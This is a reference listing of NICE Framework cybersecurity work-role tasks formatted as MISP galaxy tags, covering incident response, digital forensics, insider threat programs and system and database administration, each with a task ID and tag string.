Escalate incidents that may cause ongoing and immediate impact to the environment - T1242

Escalate incidents that may cause ongoing and immediate impact to the environment

The tag is: *misp-galaxy:nice-framework-tasks="Escalate incidents that may cause ongoing and immediate impact to the environment - T1242"*

Determine the effectiveness of an observed attack - T1254

Determine the effectiveness of an observed attack

The tag is: *misp-galaxy:nice-framework-tasks="Determine the effectiveness of an observed attack - T1254"*

Recommend risk mitigation strategies - T1266

Recommend risk mitigation strategies

The tag is: *misp-galaxy:nice-framework-tasks="Recommend risk mitigation strategies - T1266"*

Recommend system modifications - T1278

Recommend system modifications

The tag is: *misp-galaxy:nice-framework-tasks="Recommend system modifications - T1278"*

Communicate daily network event and activity reports - T1290

Communicate daily network event and activity reports

The tag is: *misp-galaxy:nice-framework-tasks="Communicate daily network event and activity reports - T1290"*

Determine causes of network alerts - T1299

Determine causes of network alerts

The tag is: *misp-galaxy:nice-framework-tasks="Determine causes of network alerts - T1299"*

Detect cybersecurity attacks and intrusions - T1347

Detect cybersecurity attacks and intrusions

The tag is: *misp-galaxy:nice-framework-tasks="Detect cybersecurity attacks and intrusions - T1347"*

Distinguish between benign and potentially malicious cybersecurity attacks and intrusions - T1348

Distinguish between benign and potentially malicious cybersecurity attacks and intrusions

The tag is: *misp-galaxy:nice-framework-tasks="Distinguish between benign and potentially malicious cybersecurity attacks and intrusions - T1348"*

Communicate cybersecurity attacks and intrusions alerts - T1349

Communicate cybersecurity attacks and intrusions alerts

The tag is: *misp-galaxy:nice-framework-tasks="Communicate cybersecurity attacks and intrusions alerts - T1349"*

Perform continuous monitoring of system activity - T1350

Perform continuous monitoring of system activity

The tag is: *misp-galaxy:nice-framework-tasks="Perform continuous monitoring of system activity - T1350"*

Determine impact of malicious activity on systems and information - T1351

Determine impact of malicious activity on systems and information

The tag is: *misp-galaxy:nice-framework-tasks="Determine impact of malicious activity on systems and information - T1351"*

Establish intrusion set procedures - T1384

Establish intrusion set procedures

The tag is: *misp-galaxy:nice-framework-tasks="Establish intrusion set procedures - T1384"*

Identify network traffic anomalies - T1385

Identify network traffic anomalies

The tag is: *misp-galaxy:nice-framework-tasks="Identify network traffic anomalies - T1385"*

Analyze network traffic anomalies - T1386

Analyze network traffic anomalies

The tag is: *misp-galaxy:nice-framework-tasks="Analyze network traffic anomalies - T1386"*

Validate intrusion detection system alerts - T1387

Validate intrusion detection system alerts

The tag is: *misp-galaxy:nice-framework-tasks="Validate intrusion detection system alerts - T1387"*

Isolate malware - T1388

Isolate malware

The tag is: *misp-galaxy:nice-framework-tasks="Isolate malware - T1388"*

Remove malware - T1389

Remove malware

The tag is: *misp-galaxy:nice-framework-tasks="Remove malware - T1389"*

Identify network device applications and operating systems - T1390

Identify network device applications and operating systems

The tag is: *misp-galaxy:nice-framework-tasks="Identify network device applications and operating systems - T1390"*

Reconstruct malicious attacks - T1391

Reconstruct malicious attacks

The tag is: *misp-galaxy:nice-framework-tasks="Reconstruct malicious attacks - T1391"*

Construct cyber defense network tool signatures - T1406

Construct cyber defense network tool signatures

The tag is: *misp-galaxy:nice-framework-tasks="Construct cyber defense network tool signatures - T1406"*

Notify designated managers, cyber incident responders, and cybersecurity service provider team members of suspected cybersecurity incidents - T1428

Notify designated managers, cyber incident responders, and cybersecurity service provider team members of suspected cybersecurity incidents

The tag is: *misp-galaxy:nice-framework-tasks="Notify designated managers, cyber incident responders, and cybersecurity service provider team members of suspected cybersecurity incidents - T1428"*

Analyze organizational cybrersecurity posture trends - T1539

Analyze organizational cybrersecurity posture trends

The tag is: *misp-galaxy:nice-framework-tasks="Analyze organizational cybrersecurity posture trends - T1539"*

Develop organizational cybersecurity posture trend reports - T1540

Develop organizational cybersecurity posture trend reports

The tag is: *misp-galaxy:nice-framework-tasks="Develop organizational cybersecurity posture trend reports - T1540"*

Develop system security posture trend reports - T1541

Develop system security posture trend reports

The tag is: *misp-galaxy:nice-framework-tasks="Develop system security posture trend reports - T1541"*

Determine adequacy of access controls - T1548

Determine adequacy of access controls

The tag is: *misp-galaxy:nice-framework-tasks="Determine adequacy of access controls - T1548"*

Maintain currency of cyber defense threat conditions - T1582

Maintain currency of cyber defense threat conditions

The tag is: *misp-galaxy:nice-framework-tasks="Maintain currency of cyber defense threat conditions - T1582"*

Recommend threat and vulnerability risk mitigation strategies - T1603

Recommend threat and vulnerability risk mitigation strategies

The tag is: *misp-galaxy:nice-framework-tasks="Recommend threat and vulnerability risk mitigation strategies - T1603"*

Advise stakeholders on vulnerability compliance - T1615

Advise stakeholders on vulnerability compliance

The tag is: *misp-galaxy:nice-framework-tasks="Advise stakeholders on vulnerability compliance - T1615"*

Resolve computer security incidents - T1616

Resolve computer security incidents

The tag is: *misp-galaxy:nice-framework-tasks="Resolve computer security incidents - T1616"*

Advise stakeholders on disaster recovery, contingency, and continuity of operations plans - T1618

Advise stakeholders on disaster recovery, contingency, and continuity of operations plans

The tag is: *misp-galaxy:nice-framework-tasks="Advise stakeholders on disaster recovery, contingency, and continuity of operations plans - T1618"*

Perform file signature analysis - T0167

Perform file signature analysis

The tag is: *misp-galaxy:nice-framework-tasks="Perform file signature analysis - T0167"*

Perform data comparison against established database - T0168

Perform data comparison against established database

The tag is: *misp-galaxy:nice-framework-tasks="Perform data comparison against established*

database - T0168"

Perform real-time forensic analysis (e.g., using Helix in conjunction with LiveView) - T0172

Perform real-time forensic analysis (e.g., using Helix in conjunction with LiveView)

The tag is: *misp-galaxy:nice-framework-tasks="Perform real-time forensic analysis (e.g., using Helix in conjunction with LiveView) - T0172"*

Perform timeline analysis - T0173

Perform timeline analysis

The tag is: *misp-galaxy:nice-framework-tasks="Perform timeline analysis - T0173"*

Perform static media analysis - T0179

Perform static media analysis

The tag is: *misp-galaxy:nice-framework-tasks="Perform static media analysis - T0179"*

Perform tier 1, 2, and 3 malware analysis - T0182

Perform tier 1, 2, and 3 malware analysis

The tag is: *misp-galaxy:nice-framework-tasks="Perform tier 1, 2, and 3 malware analysis - T0182"*

Perform Windows registry analysis - T0397

Perform Windows registry analysis

The tag is: *misp-galaxy:nice-framework-tasks="Perform Windows registry analysis - T0397"*

Set up a forensic workstation - T1051

Set up a forensic workstation

The tag is: *misp-galaxy:nice-framework-tasks="Set up a forensic workstation - T1051"*

Determine best methods for identifying the perpetrator(s) of a network intrusion - T1090

Determine best methods for identifying the perpetrator(s) of a network intrusion

The tag is: *misp-galaxy:nice-framework-tasks="Determine best methods for identifying the*

perpetrator(s) of a network intrusion - T1090"

Identify instrusions - T1102

Identify instrusions

The tag is: *misp-galaxy:nice-framework-tasks="Identify instrusions - T1102"*

Analyze intrusions - T1103

Analyze intrusions

The tag is: *misp-galaxy:nice-framework-tasks="Analyze intrusions - T1103"*

Document what is known about intrusions - T1104

Document what is known about intrusions

The tag is: *misp-galaxy:nice-framework-tasks="Document what is known about intrusions - T1104"*

Create forensically sound duplicates of evidence - T1120

Create forensically sound duplicates of evidence

The tag is: *misp-galaxy:nice-framework-tasks="Create forensically sound duplicates of evidence - T1120"*

Decrypt seized data - T1121

Decrypt seized data

The tag is: *misp-galaxy:nice-framework-tasks="Decrypt seized data - T1121"*

Create technical summary of findings reports - T1159

Create technical summary of findings reports

The tag is: *misp-galaxy:nice-framework-tasks="Create technical summary of findings reports - T1159"*

Determine if digital media chain or custody processes meet Federal Rules of Evidence requirements - T1175

Determine if digital media chain or custody processes meet Federal Rules of Evidence requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if digital media chain or custody processes*

meet Federal Rules of Evidence requirements - T1175"

Determine relevance of recovered data - T1191

Determine relevance of recovered data

The tag is: *misp-galaxy:nice-framework-tasks="Determine relevance of recovered data - T1191"*

Identify digital evidence for analysis - T1199

Identify digital evidence for analysis

The tag is: *misp-galaxy:nice-framework-tasks="Identify digital evidence for analysis - T1199"*

Perform dynamic analysis on drives - T1253

Perform dynamic analysis on drives

The tag is: *misp-galaxy:nice-framework-tasks="Perform dynamic analysis on drives - T1253"*

Perform real-time cyber defense incident handling - T1260

Perform real-time cyber defense incident handling

The tag is: *misp-galaxy:nice-framework-tasks="Perform real-time cyber defense incident handling - T1260"*

Prepare digital media for imaging - T1282

Prepare digital media for imaging

The tag is: *misp-galaxy:nice-framework-tasks="Prepare digital media for imaging - T1282"*

Report forensic artifacts indicative of a particular operating system - T1301

Report forensic artifacts indicative of a particular operating system

The tag is: *misp-galaxy:nice-framework-tasks="Report forensic artifacts indicative of a particular operating system - T1301"*

Capture network traffic associated with malicious activities - T1322

Capture network traffic associated with malicious activities

The tag is: *misp-galaxy:nice-framework-tasks="Capture network traffic associated with malicious activities - T1322"*

Analyze network traffic associated with malicious activities - T1323

Analyze network traffic associated with malicious activities

The tag is: *misp-galaxy:nice-framework-tasks="Analyze network traffic associated with malicious activities - T1323"*

Process digital evidence - T1324

Process digital evidence

The tag is: *misp-galaxy:nice-framework-tasks="Process digital evidence - T1324"*

Document digital evidence - T1325

Document digital evidence

The tag is: *misp-galaxy:nice-framework-tasks="Document digital evidence - T1325"*

Collect intrusion artifacts - T1370

Collect intrusion artifacts

The tag is: *misp-galaxy:nice-framework-tasks="Collect intrusion artifacts - T1370"*

Mitigate potential cyber defense incidents - T1371

Mitigate potential cyber defense incidents

The tag is: *misp-galaxy:nice-framework-tasks="Mitigate potential cyber defense incidents - T1371"*

Advise law enforcement personnel as technical expert - T1372

Advise law enforcement personnel as technical expert

The tag is: *misp-galaxy:nice-framework-tasks="Advise law enforcement personnel as technical expert -*

T1372"

Scan digital media for viruses - T1381

Scan digital media for viruses

The tag is: *misp-galaxy:nice-framework-tasks="Scan digital media for viruses - T1381"*

Mount a drive image - T1382

Mount a drive image

The tag is: *misp-galaxy:nice-framework-tasks="Mount a drive image - T1382"*

Utilize deployable forensics toolkit - T1383

Utilize deployable forensics toolkit

The tag is: *misp-galaxy:nice-framework-tasks="Utilize deployable forensics toolkit - T1383"*

Correlate threat assessment data - T1407

Correlate threat assessment data

The tag is: *misp-galaxy:nice-framework-tasks="Correlate threat assessment data - T1407"*

Process forensic images - T1486

Process forensic images

The tag is: *misp-galaxy:nice-framework-tasks="Process forensic images - T1486"*

Perform file and registry monitoring on running systems - T1487

Perform file and registry monitoring on running systems

The tag is: *misp-galaxy:nice-framework-tasks="Perform file and registry monitoring on running systems - T1487"*

Enter digital media information into tracking databases - T1488

Enter digital media information into tracking databases

The tag is: *misp-galaxy:nice-framework-tasks="Enter digital media information into tracking*

databases - T1488"

Prepare cyber defense toolkits - T1490

Prepare cyber defense toolkits

The tag is: *misp-galaxy:nice-framework-tasks="Prepare cyber defense toolkits - T1490"*

Preserve digital evidence - T1510

Preserve digital evidence

The tag is: *misp-galaxy:nice-framework-tasks="Preserve digital evidence - T1510"*

Recover information from forensic data sources - T1607

Recover information from forensic data sources

The tag is: *misp-galaxy:nice-framework-tasks="Recover information from forensic data sources - T1607"*

Prepare cyber defense reports - T1617

Prepare cyber defense reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare cyber defense reports - T1617"*

Acquire resources to support cybersecurity program goals and objectives - T1056

Acquire resources to support cybersecurity program goals and objectives

The tag is: *misp-galaxy:nice-framework-tasks="Acquire resources to support cybersecurity program goals and objectives - T1056"*

Conduct an effective enterprise continuity of operations program - T1057

Conduct an effective enterprise continuity of operations program

The tag is: *misp-galaxy:nice-framework-tasks="Conduct an effective enterprise continuity of operations program - T1057"*

Contribute insider threat expertise to organizational cybersecurity awareness program - T1062

Contribute insider threat expertise to organizational cybersecurity awareness program

The tag is: *misp-galaxy:nice-framework-tasks="Contribute insider threat expertise to organizational cybersecurity awareness program - T1062"*

Manage cybersecurity budget, staffing, and contracting - T1227

Manage cybersecurity budget, staffing, and contracting

The tag is: *misp-galaxy:nice-framework-tasks="Manage cybersecurity budget, staffing, and contracting - T1227"*

Assess the behavior of individual victims, witnesses, or suspects during cybersecurity investigations - T1439

Assess the behavior of individual victims, witnesses, or suspects during cybersecurity investigations

The tag is: *misp-galaxy:nice-framework-tasks="Assess the behavior of individual victims, witnesses, or suspects during cybersecurity investigations - T1439"*

Notify appropriate personnel of imminent hostile intentions or activities - T1799

Notify appropriate personnel of imminent hostile intentions or activities

The tag is: *misp-galaxy:nice-framework-tasks="Notify appropriate personnel of imminent hostile intentions or activities - T1799"*

Document system alerts - T1969

Document system alerts

The tag is: *misp-galaxy:nice-framework-tasks="Document system alerts - T1969"*

Escalate system alerts that may indicate risks - T1970

Escalate system alerts that may indicate risks

The tag is: *misp-galaxy:nice-framework-tasks="Escalate system alerts that may indicate risks - T1970"*

Disseminate anomalous activity reports to the insider threat hub - T1971

Disseminate anomalous activity reports to the insider threat hub

The tag is: *misp-galaxy:nice-framework-tasks="Disseminate anomalous activity reports to the insider threat hub - T1971"*

Conduct independent comprehensive assessments of target-specific information - T1973

Conduct independent comprehensive assessments of target-specific information

The tag is: *misp-galaxy:nice-framework-tasks="Conduct independent comprehensive assessments of target-specific information - T1973"*

Conduct insider threat risk assessments - T1974

Conduct insider threat risk assessments

The tag is: *misp-galaxy:nice-framework-tasks="Conduct insider threat risk assessments - T1974"*

Prepare insider threat briefings - T1975

Prepare insider threat briefings

The tag is: *misp-galaxy:nice-framework-tasks="Prepare insider threat briefings - T1975"*

Recommend risk mitigation courses of action (CoA) - T1976

Recommend risk mitigation courses of action (CoA)

The tag is: *misp-galaxy:nice-framework-tasks="Recommend risk mitigation courses of action (CoA) - T1976"*

Coordinate with internal and external incident management partners across jurisdictions - T1977

Coordinate with internal and external incident management partners across jurisdictions

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate with internal and external incident management partners across jurisdictions - T1977"*

Recommend improvements to insider threat detection processes - T1978

Recommend improvements to insider threat detection processes

The tag is: *misp-galaxy:nice-framework-tasks="Recommend improvements to insider threat detection processes - T1978"*

Determine digital evidence priority intelligence requirements - T1979

Determine digital evidence priority intelligence requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine digital evidence priority intelligence requirements - T1979"*

Develop digital evidence reports for internal and external partners - T1980

Develop digital evidence reports for internal and external partners

The tag is: *misp-galaxy:nice-framework-tasks="Develop digital evidence reports for internal and external partners - T1980"*

Develop elicitation indicators - T1981

Develop elicitation indicators

The tag is: *misp-galaxy:nice-framework-tasks="Develop elicitation indicators - T1981"*

Identify high value assets - T1982

Identify high value assets

The tag is: *misp-galaxy:nice-framework-tasks="Identify high value assets - T1982"*

Identify potential insider threats - T1983

Identify potential insider threats

The tag is: *misp-galaxy:nice-framework-tasks="Identify potential insider threats - T1983"*

Identify imminent or hostile intentions or activities - T1985

Identify imminent or hostile intentions or activities

The tag is: *misp-galaxy:nice-framework-tasks="Identify imminent or hostile intentions or activities - T1985"*

Develop a continuously updated overview of an incident throughout the incident’s life cycle - T1986

Develop a continuously updated overview of an incident throughout the incident’s life cycle

The tag is: *misp-galaxy:nice-framework-tasks="Develop a continuously updated overview of an incident throughout the incident’s life cycle - T1986"*

Develop insider threat cyber operations indicators - T1987

Develop insider threat cyber operations indicators

The tag is: *misp-galaxy:nice-framework-tasks="Develop insider threat cyber operations indicators - T1987"*

Integrate information from cyber resources, internal partners, and external partners - T1988

Integrate information from cyber resources, internal partners, and external partners

The tag is: *misp-galaxy:nice-framework-tasks="Integrate information from cyber resources, internal partners, and external partners - T1988"*

Advise insider threat hub inquiries - T1989

Advise insider threat hub inquiries

The tag is: *misp-galaxy:nice-framework-tasks="Advise insider threat hub inquiries - T1989"*

Conduct cybersecurity insider threat inquiries - T1990

Conduct cybersecurity insider threat inquiries

The tag is: *misp-galaxy:nice-framework-tasks="Conduct cybersecurity insider threat inquiries - T1990"*

Deliver all-source cyber operations and intelligence indications and warnings - T1991

Deliver all-source cyber operations and intelligence indications and warnings

The tag is: *misp-galaxy:nice-framework-tasks="Deliver all-source cyber operations and intelligence indications and warnings - T1991"*

Interpret network activity for intelligence value - T1992

Interpret network activity for intelligence value

The tag is: *misp-galaxy:nice-framework-tasks="Interpret network activity for intelligence value - T1992"*

Monitor network activity for vulnerabilities - T1993

Monitor network activity for vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Monitor network activity for vulnerabilities - T1993"*

Identify potential insider risks to networks - T1994

Identify potential insider risks to networks

The tag is: *misp-galaxy:nice-framework-tasks="Identify potential insider risks to networks - T1994"*

Document potential insider risks to networks - T1995

Document potential insider risks to networks

The tag is: *misp-galaxy:nice-framework-tasks="Document potential insider risks to networks - T1995"*

Report network vulnerabilities - T1996

Report network vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Report network vulnerabilities - T1996"*

Develop insider threat investigation plans - T1997

Develop insider threat investigation plans

The tag is: *misp-galaxy:nice-framework-tasks="Develop insider threat investigation plans - T1997"*

Investigate alleged insider threat cybersecurity policy violations - T1998

Investigate alleged insider threat cybersecurity policy violations

The tag is: *misp-galaxy:nice-framework-tasks="Investigate alleged insider threat cybersecurity policy violations - T1998"*

Refer cases on active insider threat activities to law enforcement investigators - T1999

Refer cases on active insider threat activities to law enforcement investigators

The tag is: *misp-galaxy:nice-framework-tasks="Refer cases on active insider threat activities to law enforcement investigators - T1999"*

Establish an insider threat risk management assessment program - T2001

Establish an insider threat risk management assessment program

The tag is: *misp-galaxy:nice-framework-tasks="Establish an insider threat risk management assessment program - T2001"*

Evaluate organizational insider risk response capabilities - T2003

Evaluate organizational insider risk response capabilities

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate organizational insider risk response capabilities - T2003"*

Document insider threat information sources - T2004

Document insider threat information sources

The tag is: *misp-galaxy:nice-framework-tasks="Document insider threat information sources - T2004"*

Conduct insider threat studies - T2005

Conduct insider threat studies

The tag is: *misp-galaxy:nice-framework-tasks="Conduct insider threat studies - T2005"*

Identify potential targets for exploitation - T2006

Identify potential targets for exploitation

The tag is: *misp-galaxy:nice-framework-tasks="Identify potential targets for exploitation - T2006"*

Analyze potential targets for exploitation - T2007

Analyze potential targets for exploitation

The tag is: *misp-galaxy:nice-framework-tasks="Analyze potential targets for exploitation - T2007"*

Vet insider threat targeting with law enforcement and intelligence partners - T2008

Vet insider threat targeting with law enforcement and intelligence partners

The tag is: *misp-galaxy:nice-framework-tasks="Vet insider threat targeting with law enforcement and intelligence partners - T2008"*

Develop insider threat targets - T2009

Develop insider threat targets

The tag is: *misp-galaxy:nice-framework-tasks="Develop insider threat targets - T2009"*

Maintain User Activity Monitoring (UAM) tools - T2010

Maintain User Activity Monitoring (UAM) tools

The tag is: *misp-galaxy:nice-framework-tasks="Maintain User Activity Monitoring (UAM) tools - T2010"*

Monitor the output from User Activity Monitoring (UAM) tools - T2011

Monitor the output from User Activity Monitoring (UAM) tools

The tag is: *misp-galaxy:nice-framework-tasks="Monitor the output from User Activity Monitoring (UAM) tools - T2011"*

Administer rule and signature updates for specialized cyber defense applications - T1111

Administer rule and signature updates for specialized cyber defense applications

The tag is: *misp-galaxy:nice-framework-tasks="Administer rule and signature updates for specialized cyber defense applications - T1111"*

Perform system administration on specialized cyber defense applications and systems - T1267

Perform system administration on specialized cyber defense applications and systems

The tag is: *misp-galaxy:nice-framework-tasks="Perform system administration on specialized cyber defense applications and systems - T1267"*

Administer Virtual Private Network (VPN) devices - T1268

Administer Virtual Private Network (VPN) devices

The tag is: *misp-galaxy:nice-framework-tasks="Administer Virtual Private Network (VPN) devices - T1268"*

Coordinate critical cyber defense infrastructure protection measures - T1352

Coordinate critical cyber defense infrastructure protection measures

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate critical cyber defense infrastructure protection measures - T1352"*

Prioritize critical cyber defense infrastructure resources - T1353

Prioritize critical cyber defense infrastructure resources

The tag is: *misp-galaxy:nice-framework-tasks="Prioritize critical cyber defense infrastructure resources - T1353"*

Build dedicated cyber defense hardware - T1432

Build dedicated cyber defense hardware

The tag is: *misp-galaxy:nice-framework-tasks="Build dedicated cyber defense hardware - T1432"*

Install dedicated cyber defense hardware - T1433

Install dedicated cyber defense hardware

The tag is: *misp-galaxy:nice-framework-tasks="Install dedicated cyber defense hardware - T1433"*

Assess the impact of implementing and sustaining a dedicated cyber defense infrastructure - T1442

Assess the impact of implementing and sustaining a dedicated cyber defense infrastructure

The tag is: *misp-galaxy:nice-framework-tasks="Assess the impact of implementing and sustaining a dedicated cyber defense infrastructure - T1442"*

Evaluate platforms managed by service providers - T1503

Evaluate platforms managed by service providers

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate platforms managed by service providers - T1503"*

Manage network access control lists on specialized cyber defense systems - T1515

Manage network access control lists on specialized cyber defense systems

The tag is: *misp-galaxy:nice-framework-tasks="Manage network access control lists on specialized cyber defense systems - T1515"*

Implement cyber defense tools - T1555

Implement cyber defense tools

The tag is: *misp-galaxy:nice-framework-tasks="Implement cyber defense tools - T1555"*

Implement dedicated cyber defense systems - T1561

Implement dedicated cyber defense systems

The tag is: *misp-galaxy:nice-framework-tasks="Implement dedicated cyber defense systems - T1561"*

Document system requirements - T1562

Document system requirements

The tag is: *misp-galaxy:nice-framework-tasks="Document system requirements - T1562"*

Evaluate organizational cybersecurity policy regulatory compliance - T1069

Evaluate organizational cybersecurity policy regulatory compliance

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate organizational cybersecurity policy regulatory compliance - T1069"*

Evaluate organizational cybersecurity policy alignment with organizational directives - T1070

Evaluate organizational cybersecurity policy alignment with organizational directives

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate organizational cybersecurity policy alignment with organizational directives - T1070"*

Maintain deployable cyber defense audit toolkits - T1229

Maintain deployable cyber defense audit toolkits

The tag is: *misp-galaxy:nice-framework-tasks="Maintain deployable cyber defense audit toolkits - T1229"*

Prepare audit reports - T1279

Prepare audit reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare audit reports - T1279"*

Perform required reviews - T1341

Perform required reviews

The tag is: *misp-galaxy:nice-framework-tasks="Perform required reviews - T1341"*

Perform risk and vulnerability assessments - T1619

Perform risk and vulnerability assessments

The tag is: *misp-galaxy:nice-framework-tasks="Perform risk and vulnerability assessments - T1619"*

Recommend cost-effective security controls - T1620

Recommend cost-effective security controls

The tag is: *misp-galaxy:nice-framework-tasks="Recommend cost-effective security controls - T1620"*

Employ approved defense-in-depth principles and practices (e.g., defense-in-multiple places, layered defenses, security robustness) - T0262

Employ approved defense-in-depth principles and practices (e.g., defense-in-multiple places, layered defenses, security robustness)

The tag is: *misp-galaxy:nice-framework-tasks="Employ approved defense-in-depth principles and practices (e.g., defense-in-multiple places, layered defenses, security robustness) - T0262"*

Coordinate incident response functions - T0510

Coordinate incident response functions

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate incident response functions - T0510"*

Resolve cyber defense incidents - T1109

Resolve cyber defense incidents

The tag is: *misp-galaxy:nice-framework-tasks="Resolve cyber defense incidents - T1109"*

Coordinate technical support to enterprise-wide cybersecurity defense technicians - T1110

Coordinate technical support to enterprise-wide cybersecurity defense technicians

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate technical support to enterprise-wide cybersecurity defense technicians - T1110"*

Perform cyber defense incident triage - T1250

Perform cyber defense incident triage

The tag is: *misp-galaxy:nice-framework-tasks="Perform cyber defense incident triage - T1250"*

Recommend incident remediation strategies - T1251

Recommend incident remediation strategies

The tag is: *misp-galaxy:nice-framework-tasks="Recommend incident remediation strategies - T1251"*

Determine the scope, urgency, and impact of cyber defense incidents - T1252

Determine the scope, urgency, and impact of cyber defense incidents

The tag is: *misp-galaxy:nice-framework-tasks="Determine the scope, urgency, and impact of cyber defense incidents - T1252"*

Perform forensically sound image collection - T1256

Perform forensically sound image collection

The tag is: *misp-galaxy:nice-framework-tasks="Perform forensically sound image collection - T1256"*

Recommend mitigation and remediation strategies for enterprise systems - T1257

Recommend mitigation and remediation strategies for enterprise systems

The tag is: *misp-galaxy:nice-framework-tasks="Recommend mitigation and remediation strategies for enterprise systems - T1257"*

Track cyber defense incidents from initial detection through final resolution - T1315

Track cyber defense incidents from initial detection through final resolution

The tag is: *misp-galaxy:nice-framework-tasks="Track cyber defense incidents from initial detection through final resolution - T1315"*

Document cyber defense incidents from initial detection through final resolution - T1316

Document cyber defense incidents from initial detection through final resolution

The tag is: *misp-galaxy:nice-framework-tasks="Document cyber defense incidents from initial detection through final resolution - T1316"*

Produce incident findings reports - T1332

Produce incident findings reports

The tag is: *misp-galaxy:nice-framework-tasks="Produce incident findings reports - T1332"*

Communicate incident findings to appropriate constituencies - T1333

Communicate incident findings to appropriate constituencies

The tag is: *misp-galaxy:nice-framework-tasks="Communicate incident findings to appropriate constituencies - T1333"*

Prepare after action reviews (AARs) - T1485

Prepare after action reviews (AARs)

The tag is: *misp-galaxy:nice-framework-tasks="Prepare after action reviews (AARs) - T1485"*

Maintain database management systems software - T0137

Maintain database management systems software

The tag is: *misp-galaxy:nice-framework-tasks="Maintain database management systems software - T0137"*

Maintain assured message delivery systems - T0330

Maintain assured message delivery systems

The tag is: *misp-galaxy:nice-framework-tasks="Maintain assured message delivery systems - T0330"*

Implement data management standards, requirements, and specifications - T0422

Implement data management standards, requirements, and specifications

The tag is: *misp-galaxy:nice-framework-tasks="Implement data management standards, requirements, and specifications - T0422"*

Implement data mining and data warehousing applications - T0459

Implement data mining and data warehousing applications

The tag is: *misp-galaxy:nice-framework-tasks="Implement data mining and data warehousing applications - T0459"*

Maintain directory replication services - T1230

Maintain directory replication services

The tag is: *misp-galaxy:nice-framework-tasks="Maintain directory replication services - T1230"*

Maintain information exchanges through publish, subscribe, and alert functions - T1231

Maintain information exchanges through publish, subscribe, and alert functions

The tag is: *misp-galaxy:nice-framework-tasks="Maintain information exchanges through publish, subscribe, and alert functions - T1231"*

Perform backup and recovery of databases - T1249

Perform backup and recovery of databases

The tag is: *misp-galaxy:nice-framework-tasks="Perform backup and recovery of databases - T1249"*

Manage databases and data management systems - T1402

Manage databases and data management systems

The tag is: *misp-galaxy:nice-framework-tasks="Manage databases and data management systems - T1402"*

Install database management systems and software - T1564

Install database management systems and software

The tag is: *misp-galaxy:nice-framework-tasks="Install database management systems and software - T1564"*

Configure database management systems and software - T1565

Configure database management systems and software

The tag is: *misp-galaxy:nice-framework-tasks="Configure database management systems and software - T1565"*

Construct access paths to suites of information - T1105

Construct access paths to suites of information

The tag is: *misp-galaxy:nice-framework-tasks="Construct access paths to suites of information - T1105"*

Monitor the usage of knowledge management assets and resources - T1239

Monitor the usage of knowledge management assets and resources

The tag is: *misp-galaxy:nice-framework-tasks="Monitor the usage of knowledge management assets and resources - T1239"*

Create knowledge management assets and resources usage reports - T1240

Create knowledge management assets and resources usage reports

The tag is: *misp-galaxy:nice-framework-tasks="Create knowledge management assets and resources usage reports - T1240"*

Plan knowledge management projects - T1273

Plan knowledge management projects

The tag is: *misp-galaxy:nice-framework-tasks="Plan knowledge management projects - T1273"*

Deliver knowledge management projects - T1274

Deliver knowledge management projects

The tag is: *misp-galaxy:nice-framework-tasks="Deliver knowledge management projects - T1274"*

Recommend data structures for use in the production of reports - T1296

Recommend data structures for use in the production of reports

The tag is: *misp-galaxy:nice-framework-tasks="Recommend data structures for use in the production of reports - T1296"*

Manage organizational knowledge repositories - T1504

Manage organizational knowledge repositories

The tag is: *misp-galaxy:nice-framework-tasks="Manage organizational knowledge repositories - T1504"*

Design organizational knowledge management frameworks - T1523

Design organizational knowledge management frameworks

The tag is: *misp-galaxy:nice-framework-tasks="Design organizational knowledge management frameworks - T1523"*

Implement organizational knowledge management frameworks - T1524

Implement organizational knowledge management frameworks

The tag is: *misp-galaxy:nice-framework-tasks="Implement organizational knowledge management frameworks - T1524"*

Maintain organizational knowledge management frameworks - T1525

Maintain organizational knowledge management frameworks

The tag is: *misp-galaxy:nice-framework-tasks="Maintain organizational knowledge management frameworks - T1525"*

Check system hardware availability, functionality, integrity, and efficiency - T0431

Check system hardware availability, functionality, integrity, and efficiency

The tag is: *misp-galaxy:nice-framework-tasks="Check system hardware availability, functionality, integrity, and efficiency - T0431"*

Troubleshoot hardware/software interface and interoperability problems - T0531

Troubleshoot hardware/software interface and interoperability problems

The tag is: *misp-galaxy:nice-framework-tasks="Troubleshoot hardware/software interface and*

interoperability problems - T0531"

Conduct functional and connectivity testing - T1092

Conduct functional and connectivity testing

The tag is: *misp-galaxy:nice-framework-tasks="Conduct functional and connectivity testing - T1092"*

Develop group policies and access control lists - T1130

Develop group policies and access control lists

The tag is: *misp-galaxy:nice-framework-tasks="Develop group policies and access control lists - T1130"*

Develop systems administration standard operating procedures - T1140

Develop systems administration standard operating procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop systems administration standard operating procedures - T1140"*

Document systems administration standard operating procedures - T1141

Document systems administration standard operating procedures

The tag is: *misp-galaxy:nice-framework-tasks="Document systems administration standard operating procedures - T1141"*

Maintain baseline system security - T1228

Maintain baseline system security

The tag is: *misp-galaxy:nice-framework-tasks="Maintain baseline system security - T1228"*

Determine the effectiveness of data redundancy and system recovery procedures - T1275

Determine the effectiveness of data redundancy and system recovery procedures

The tag is: *misp-galaxy:nice-framework-tasks="Determine the effectiveness of data redundancy and system recovery procedures - T1275"*

Develop data redundancy and system recovery procedures - T1276

Develop data redundancy and system recovery procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop data redundancy and system recovery procedures - T1276"*

Execute data redundancy and system recovery procedures - T1277

Execute data redundancy and system recovery procedures

The tag is: *misp-galaxy:nice-framework-tasks="Execute data redundancy and system recovery procedures - T1277"*

Produce cybersecurity instructional materials - T1334

Produce cybersecurity instructional materials

The tag is: *misp-galaxy:nice-framework-tasks="Produce cybersecurity instructional materials - T1334"*

Install systems and servers - T1500

Install systems and servers

The tag is: *misp-galaxy:nice-framework-tasks="Install systems and servers - T1500"*

Update systems and servers - T1501

Update systems and servers

The tag is: *misp-galaxy:nice-framework-tasks="Update systems and servers - T1501"*

